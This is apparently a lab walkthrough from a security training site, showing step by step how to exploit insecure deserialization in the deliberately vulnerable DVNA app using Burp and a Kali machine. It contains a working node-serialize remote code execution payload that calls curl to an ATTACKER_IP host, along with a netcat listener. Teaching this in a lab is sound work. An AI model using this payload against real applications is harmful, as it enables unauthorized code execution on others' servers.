# Insecure Deserialization - DVNA

**Lets change the settings of Virtual Machines**

**Go to Settings**

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-MJxAJ0tMdeb1SqUpgTm%2F-MJxBKvFVwqipubrm6MF%2Fimage.png?alt=media\&token=ae9e5fc0-6685-4f1a-b1d2-7d046c097469)

**Click on Network -> Change the adapter to NAT Network**

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-MJxAJ0tMdeb1SqUpgTm%2F-MJxB9hw_jh1Qaji8Jam%2Fimage.png?alt=media\&token=3b34bb1c-6f58-41cd-88a3-8255d93a340f)

**For this exercise we would need two Virtual Machines**&#x20;

**a) Kali Linux**&#x20;

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lydawi3KCeRPtmGYVHK%2F-LydeRbkhJ-DOM9qpORl%2Fimage.png?alt=media\&token=249f2058-548c-4c05-96fa-f6a67d847ac5)

**b) Global AppSec SF VM**

<div align="left"><img src="https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lydawi3KCeRPtmGYVHK%2F-Lyde8WKeyE7hV2VilnA%2Fimage.png?alt=media&#x26;token=646b2a9b-8b7e-42bf-9d65-ddb5254b9b9e" alt=""></div>

**Access the AppSec Global SF VM url from the Kali Box**

`http://10.0.2.14:9090`

**Step 1:** Navigate to `"A8: Insecure Deserialization" > Insecure Deserialization: Legacy Import Products`. Notice that the URL is `http://127.0.0.1:9090/app/bulkproducts?legacy=true` and it presents a "Bulk Import Products" feature has a file upload functionality which accepts a serialized object.

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-LWHQt-EMiiOHTuosAKW%2F-LWHQwryPQc7M_CVso2U%2F01_id_upload_function.png?generation=1547571287124122\&alt=media)

**Step 2:** Let's upload a serialised object and check if the file upload is vulnerable. Save the following snippet into the file and save it with and upload it using "Bulk Import Products" feature. Intercept the POST request made using Burp. Make sure to replace "ATTACKER\_IP" with the address of attacker machine that the victim machine can connect to.

```
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id; curl http://ATTACKER_IP:8081', function(error, stdout, stderr) { console.log(stdout) });}()"}
```

**Step 3:** Send the intercepted request to Burp Repeater(CTRL+R) and navigate to repeater(CTRL+SHIFT+R)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-LWHQt-EMiiOHTuosAKW%2F-LWHQws--g7iLEQyhdYg%2F01_id_payload_repeater.png?generation=1547571287298656\&alt=media)

**Step 4:** On the attacker machine (kali Linux - 10.0.2.12), run `nc -lvvp 8081`. In the Burp repeater, forward the request. Notice that on the attacker machine `nc` will receive a connection from the victim machine. This is because the serialised object we uploaded got insecurely deserialised and the command got executed which connects to the attacker machine.

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lydawi3KCeRPtmGYVHK%2F-LydhQL_kYXV2z96yXTB%2Fimage.png?alt=media\&token=c84aca02-7d4c-4f47-abb8-06aec38ecef8)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-Lydawi3KCeRPtmGYVHK%2F-LydhrEtlSB91V-CRNEP%2Fimage.png?alt=media\&token=5ae67bd6-1d02-4f15-846b-7db68f6cd1b1)

![](https://990422818-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LWGXF4oLcghA1GLq0CM%2F-LydzHhmyTAv9y_fp5ES%2F-Lye-4RtkT8i3jCV1KrN%2Fimage.png?alt=media\&token=54b54479-7671-413f-b1fa-7a8e0a1588b7)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infosecgirls.gitbook.io/infosecgirls-training/appsec/web-application-pentesting/a8-insecure-deserialization/insecure-deserialization-dvna.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
